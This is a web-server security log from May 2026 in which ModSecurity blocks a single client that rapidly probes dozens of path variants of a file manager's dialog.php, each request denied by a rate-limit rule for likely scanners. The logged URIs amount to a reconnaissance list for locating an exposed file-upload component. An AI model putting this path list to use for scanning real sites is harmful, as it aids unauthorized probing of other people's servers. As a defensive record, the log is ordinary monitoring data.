[Sun May 24 20:46:46.323149 2026] [:error] [pid 11368:tid 11392] [client 134.199.171.224:60092] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWHwAAARY"]
[Sun May 24 20:46:46.336941 2026] [:error] [pid 11368:tid 11376] [client 134.199.171.224:60102] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWIAAAAQY"]
[Sun May 24 20:46:46.347313 2026] [:error] [pid 11280:tid 11292] [client 134.199.171.224:60112] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ4gAAAEc"]
[Sun May 24 20:46:46.348912 2026] [:error] [pid 11368:tid 11388] [client 134.199.171.224:60122] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWIQAAARI"]
[Sun May 24 20:46:46.355814 2026] [:error] [pid 11368:tid 11370] [client 134.199.171.224:60126] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWIgAAAQA"]
[Sun May 24 20:46:46.365704 2026] [:error] [pid 11368:tid 11374] [client 134.199.171.224:60138] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWIwAAAQQ"]
[Sun May 24 20:46:46.366241 2026] [:error] [pid 11368:tid 11389] [client 134.199.171.224:60134] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWJAAAARM"]
[Sun May 24 20:46:46.367749 2026] [:error] [pid 11282:tid 11361] [client 134.199.171.224:60132] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NHAAAANU"]
[Sun May 24 20:46:46.368223 2026] [:error] [pid 11368:tid 11390] [client 134.199.171.224:60140] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWJQAAARQ"]
[Sun May 24 20:46:46.379302 2026] [:error] [pid 11368:tid 11378] [client 134.199.171.224:60152] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWJgAAAQg"]
[Sun May 24 20:46:46.390521 2026] [:error] [pid 11368:tid 11394] [client 134.199.171.224:60162] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWJwAAARg"]
[Sun May 24 20:46:46.391319 2026] [:error] [pid 11368:tid 11371] [client 134.199.171.224:60160] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWKAAAAQE"]
[Sun May 24 20:46:46.392046 2026] [:error] [pid 11368:tid 11385] [client 134.199.171.224:60164] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWKQAAAQ8"]
[Sun May 24 20:46:46.393089 2026] [:error] [pid 11368:tid 11386] [client 134.199.171.224:60170] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWKgAAARA"]
[Sun May 24 20:46:46.400789 2026] [:error] [pid 11282:tid 11360] [client 134.199.171.224:60180] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NHQAAANQ"]
[Sun May 24 20:46:46.409356 2026] [:error] [pid 11282:tid 11362] [client 134.199.171.224:60194] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NHgAAANY"]
[Sun May 24 20:46:46.409810 2026] [:error] [pid 11282:tid 11364] [client 134.199.171.224:60188] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NHwAAANg"]
[Sun May 24 20:46:46.410863 2026] [:error] [pid 11282:tid 11356] [client 134.199.171.224:60200] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NIAAAANA"]
[Sun May 24 20:46:46.413515 2026] [:error] [pid 11282:tid 11347] [client 134.199.171.224:60206] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NIQAAAMc"]
[Sun May 24 20:46:46.421889 2026] [:error] [pid 15835:tid 15840] [client 134.199.171.224:60212] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8ZQAAAAM"]
[Sun May 24 20:46:46.432328 2026] [:error] [pid 15835:tid 15841] [client 134.199.171.224:60224] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8ZgAAAAQ"]
[Sun May 24 20:46:46.434481 2026] [:error] [pid 11368:tid 11381] [client 134.199.171.224:60216] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWKwAAAQs"]
[Sun May 24 20:46:46.435559 2026] [:error] [pid 15835:tid 15857] [client 134.199.171.224:60230] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8ZwAAABQ"]
[Sun May 24 20:46:46.444683 2026] [:error] [pid 11368:tid 11379] [client 134.199.171.224:60246] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWLAAAAQk"]
[Sun May 24 20:46:46.451519 2026] [:error] [pid 15835:tid 15853] [client 134.199.171.224:60252] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8aAAAABA"]
[Sun May 24 20:46:46.452112 2026] [:error] [pid 11368:tid 11391] [client 134.199.171.224:60262] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWLQAAARU"]
[Sun May 24 20:46:46.453497 2026] [:error] [pid 11282:tid 11342] [client 134.199.171.224:60264] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NIgAAAMI"]
[Sun May 24 20:46:46.476666 2026] [:error] [pid 15835:tid 15839] [client 134.199.171.224:60272] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8aQAAAAI"]
[Sun May 24 20:46:46.476948 2026] [:error] [pid 15835:tid 15858] [client 134.199.171.224:60284] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8agAAABU"]
[Sun May 24 20:46:46.485728 2026] [:error] [pid 15835:tid 15852] [client 134.199.171.224:60288] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8awAAAA8"]
[Sun May 24 20:46:46.495347 2026] [:error] [pid 11368:tid 11393] [client 134.199.171.224:60290] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWLgAAARc"]
[Sun May 24 20:46:46.497950 2026] [:error] [pid 11282:tid 11359] [client 134.199.171.224:60306] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NIwAAANM"]
[Sun May 24 20:46:46.528614 2026] [:error] [pid 11281:tid 11315] [client 134.199.171.224:60310] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahLzNpKmC9taWvA91j5z_AAAAII"]
[Sun May 24 20:46:46.528756 2026] [:error] [pid 11281:tid 11330] [client 134.199.171.224:60326] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNpKmC9taWvA91j5z_QAAAJE"]
[Sun May 24 20:46:46.535825 2026] [:error] [pid 11282:tid 11354] [client 134.199.171.224:60340] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NJAAAAM4"]
[Sun May 24 20:46:46.540392 2026] [:error] [pid 11281:tid 11316] [client 134.199.171.224:60344] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNpKmC9taWvA91j5z_gAAAIM"]
[Sun May 24 20:46:46.548574 2026] [:error] [pid 11281:tid 11327] [client 134.199.171.224:60350] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahLzNpKmC9taWvA91j5z_wAAAI4"]
[Sun May 24 20:46:46.559526 2026] [:error] [pid 11282:tid 11340] [client 134.199.171.224:60354] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NJQAAAMA"]
[Sun May 24 20:46:46.560439 2026] [:error] [pid 11282:tid 11358] [client 134.199.171.224:60364] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NJgAAANI"]
[Sun May 24 20:46:46.572698 2026] [:error] [pid 11282:tid 11353] [client 134.199.171.224:60374] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NJwAAAM0"]
[Sun May 24 20:46:46.588542 2026] [:error] [pid 11368:tid 11387] [client 134.199.171.224:60404] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWLwAAARE"]
[Sun May 24 20:46:46.589174 2026] [:error] [pid 11280:tid 11286] [client 134.199.171.224:60384] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ5AAAAEE"]
[Sun May 24 20:46:46.590768 2026] [:error] [pid 11282:tid 11350] [client 134.199.171.224:60414] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NKAAAAMo"]
[Sun May 24 20:46:46.593636 2026] [:error] [pid 11280:tid 11293] [client 134.199.171.224:60390] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ5QAAAEg"]
[Sun May 24 20:46:46.604764 2026] [:error] [pid 11282:tid 11344] [client 134.199.171.224:60418] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NKQAAAMQ"]
[Sun May 24 20:46:46.606832 2026] [:error] [pid 15835:tid 15838] [client 134.199.171.224:60428] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8bAAAAAE"]
[Sun May 24 20:46:46.623197 2026] [:error] [pid 15835:tid 15850] [client 134.199.171.224:60438] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8bQAAAA0"]
[Sun May 24 20:46:46.632717 2026] [:error] [pid 15835:tid 15860] [client 134.199.171.224:60450] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8bgAAABc"]
[Sun May 24 20:46:46.633654 2026] [:error] [pid 15835:tid 15855] [client 134.199.171.224:60460] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8bwAAABI"]
[Sun May 24 20:46:46.635780 2026] [:error] [pid 11368:tid 11373] [client 134.199.171.224:60476] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWMQAAAQM"]
[Sun May 24 20:46:46.649003 2026] [:error] [pid 15835:tid 15848] [client 134.199.171.224:60506] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8cAAAAAs"]
[Sun May 24 20:46:46.649352 2026] [:error] [pid 11282:tid 11346] [client 134.199.171.224:60492] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NKgAAAMY"]
[Sun May 24 20:46:46.675915 2026] [:error] [pid 15835:tid 15851] [client 134.199.171.224:60520] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8cQAAAA4"]
